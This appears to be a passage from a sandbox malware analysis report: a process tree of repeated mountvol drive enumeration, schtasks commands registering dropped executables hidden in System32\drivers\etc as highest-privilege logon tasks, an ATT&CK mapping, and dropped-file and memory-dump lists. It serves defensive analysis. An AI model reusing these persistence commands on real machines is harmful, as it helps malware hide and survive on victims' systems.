C:\Windows\system32\mountvol.exemountvol R: /D8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol S: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol S: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol S: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol S: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol T: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol T: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol T: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol T: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol U: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol U: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol U: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol U: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol V: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol V: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol V: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol V: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol W: /S7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol W: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol W: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol W: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol X: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol X: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol X: /D7⤵
-
C:\Windows\system32\mountvol.exemountvol X: /D8⤵
- Enumerates connected drives
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Y: /S7⤵
-
C:\Windows\system32\mountvol.exemountvol Y: /S8⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c mountvol Y: /D7⤵
- Executes a command shell one-liner
-
C:\Windows\system32\mountvol.exemountvol Y: /D8⤵
- Enumerates connected drives
-
-
-
-
-
-
-
-
C:\Windows\System32\drivers\etc\WinLogs\svcsync.exe"C:\Windows\System32\drivers\etc\WinLogs\svcsync.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\drivers\etc\WinUpdate\WinUpdate.exe"C:\Windows\System32\drivers\etc\WinUpdate\WinUpdate.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /TN "WinUpdateTask" /TR "\"C:\Windows\System32\drivers\etc\WinUpdate\WinUpdate.exe\"" /SC ONLOGON /RL HIGHEST /F2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /TN "WinLogsTask" /TR "\"C:\Windows\System32\drivers\etc\WinLogs\svcsync.exe\"" /SC ONLOGON /RL HIGHEST /F2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
- Loads dropped DLL
-
C:\Windows\system32\SecurityHealthService.exeC:\Windows\system32\SecurityHealthService.exe1⤵
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\system32\SecurityHealthService.exeC:\Windows\system32\SecurityHealthService.exe1⤵
- Modifies data under HKEY_USERS
- Modifies registry class
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
4Disable or Modify Tools
3Indicator Removal
1Clear Windows Event Logs
1Modify Registry
6Pre-OS Boot
1Bootkit
1Discovery
Peripheral Device Discovery
2Query Registry
4Remote System Discovery
1System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
2Internet Connection Discovery
2System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
a089588d-58e4-4d2e-8769-45defd6de840.dll
VCRUNTIME140.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-1_1.dll
libffi-7.dll
python310.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_hwc43nik.umi.ps1
msvcrt64.exe
winsvc32.exe
dberr.txt
hosts
memory/748-292-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/956-298-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1032-415-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1124-304-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1328-311-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1368-300-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1520-119-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-129-0x000001879B540000-0x000001879B54A000-memory.dmp
memory/1520-132-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-133-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-134-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-135-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-136-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-137-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-138-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-140-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-130-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-123-0x000001879B360000-0x000001879B37E000-memory.dmp
memory/1520-126-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-128-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-114-0x00007FFFECDEF000-0x00007FFFECDF0000-memory.dmp
memory/1520-117-0x000001879B0B0000-0x000001879B0D2000-memory.dmp
memory/1520-118-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-127-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-131-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-120-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-125-0x00007FFFECC60000-0x00007FFFED604000-memory.dmp
memory/1520-124-0x000001879B380000-0x000001879B432000-memory.dmp
memory/1540-305-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1548-301-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1628-366-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1712-299-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1752-464-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1792-367-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/1984-411-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2164-307-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2204-413-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2276-351-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2544-316-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2560-297-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2572-414-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2592-399-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2704-259-0x00007FF80FAA0000-0x00007FF80FD03000-memory.dmp
memory/2704-261-0x00007FF80CEE0000-0x00007FF80D281000-memory.dmp
memory/2704-260-0x00007FF80EB60000-0x00007FF80EC27000-memory.dmp
memory/2704-195-0x00000292E8F30000-0x00000292E8F92000-memory.dmp
memory/2824-395-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2916-302-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/2980-407-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3104-294-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3152-389-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3196-408-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3384-405-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3484-303-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3584-412-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3608-326-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3652-349-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3664-350-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3680-306-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3704-362-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3864-317-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3900-354-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/3920-465-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/4216-409-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/4384-396-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/4428-359-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/4480-394-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/4592-223-0x0000000006050000-0x00000000063AB000-memory.dmp
memory/4592-218-0x00000000057B0000-0x00000000057D2000-memory.dmp
memory/4592-232-0x0000000007F40000-0x00000000085BC000-memory.dmp
memory/4592-231-0x00000000077C0000-0x0000000007863000-memory.dmp
memory/4592-216-0x0000000003090000-0x00000000030C6000-memory.dmp
memory/4592-230-0x0000000006B80000-0x0000000006BA0000-memory.dmp
memory/4592-217-0x0000000005870000-0x0000000005EBA000-memory.dmp
memory/4592-227-0x0000000070580000-0x00000000705CC000-memory.dmp
memory/4592-226-0x0000000007750000-0x0000000007786000-memory.dmp
memory/4592-233-0x0000000007900000-0x000000000791A000-memory.dmp
memory/4592-234-0x0000000007970000-0x000000000797A000-memory.dmp
memory/4592-225-0x00000000065D0000-0x000000000661C000-memory.dmp
memory/4592-235-0x0000000007B70000-0x0000000007C06000-memory.dmp
memory/4592-224-0x0000000006580000-0x000000000659E000-memory.dmp
memory/4592-219-0x0000000005EC0000-0x0000000005F26000-memory.dmp
memory/4592-220-0x0000000005F30000-0x0000000005F96000-memory.dmp
memory/4620-410-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/4640-212-0x000001C039790000-0x000001C039842000-memory.dmp
memory/4664-296-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/4676-308-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/4704-206-0x00000279FE440000-0x00000279FE4F2000-memory.dmp
memory/4784-365-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/5008-341-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/5164-391-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/5348-487-0x0000024C0B1A0000-0x0000024C0B1A1000-memory.dmp
memory/5932-435-0x0000000005B90000-0x0000000005B91000-memory.dmp
memory/5932-267-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/5932-486-0x0000000005BA0000-0x0000000005BA1000-memory.dmp
memory/6080-432-0x0000028802AB0000-0x0000028802ADB000-memory.dmp
memory/6080-428-0x0000028802AB0000-0x0000028802ADB000-memory.dmp
memory/6080-430-0x0000028802AB0000-0x0000028802ADB000-memory.dmp
memory/6080-429-0x0000028802AB0000-0x0000028802ADB000-memory.dmp
memory/6080-431-0x0000028802AB0000-0x0000028802ADB000-memory.dmp
memory/6080-433-0x00007FF7CFBE0000-0x00007FF7CFBF0000-memory.dmp
memory/6080-423-0x0000028802AB0000-0x0000028802ADB000-memory.dmp
memory/6080-422-0x0000028802AB0000-0x0000028802ADB000-memory.dmp
memory/6080-421-0x0000028802980000-0x00000288029A5000-memory.dmp
memory/6080-495-0x0000028802AB0000-0x0000028802ADB000-memory.dmp